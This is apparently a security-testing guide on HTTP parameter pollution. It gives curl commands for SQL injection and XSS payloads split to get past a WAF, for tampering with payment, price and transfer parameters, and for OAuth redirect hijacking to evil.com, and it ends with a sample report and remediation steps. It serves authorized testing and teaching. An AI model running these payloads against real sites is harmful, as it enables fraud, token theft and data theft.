Performing HTTP Parameter Pollution Attack
When to Use
- When testing web applications for input validation bypass vulnerabilities
- During WAF evasion testing to split attack payloads across duplicate parameters
- When assessing how different technology stacks handle duplicate HTTP parameters
- During API security testing to identify parameter precedence issues
- When testing OAuth or payment processing flows for parameter manipulation
Prerequisites
- Burp Suite Professional with Intruder and Repeater modules
- Understanding of HTTP protocol and query string parsing
- Knowledge of server-side parameter handling differences (first, last, array, concatenated)
- cURL or httpie for manual parameter crafting
- Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Parameter Handling Behavior
curl -v "http://target.com/search?q=first&q=second"
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
Step 2 — Perform Server-Side HPP
curl "http://target.com/api/user?id=1%20OR%201%3D1"
curl "http://target.com/api/user?id=1%20OR&id=1%3D1"
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
Step 3 — Perform Client-Side HPP
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
Step 4 — Bypass WAF Rules Using HPP
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
curl "http://target.com/api/data?filter=admin%26role=superadmin"
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
Step 5 — Test OAuth and Payment Flow HPP
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
Step 6 — Automate HPP Testing
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
Key Concepts
| Concept | Description |
|---|
| Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass |
| Client-Side HPP | Injected parameters reflected in URLs/links sent to other users |
| Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array |
| WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection |
| Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely |
| URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value |
| Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |
Tools & Systems
| Tool | Purpose |
|---|
| Burp Suite | HTTP proxy for intercepting and duplicating parameters |
| param-miner | Burp extension for discovering hidden and duplicate parameters |
| OWASP ZAP | Automated scanner with HPP detection capabilities |
| Arjun | Hidden HTTP parameter discovery tool |
| ffuf | Fuzzing tool for parameter brute-forcing and duplication testing |
| Wfuzz | Web application fuzzer supporting parameter manipulation |
Common Scenarios
- WAF Bypass — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them
- Payment Manipulation — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values
- OAuth Redirect Hijacking — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server
- Access Control Bypass — Override role or permission parameters in requests to elevate privileges or access restricted resources
- Input Validation Bypass — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters
Output Format
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks
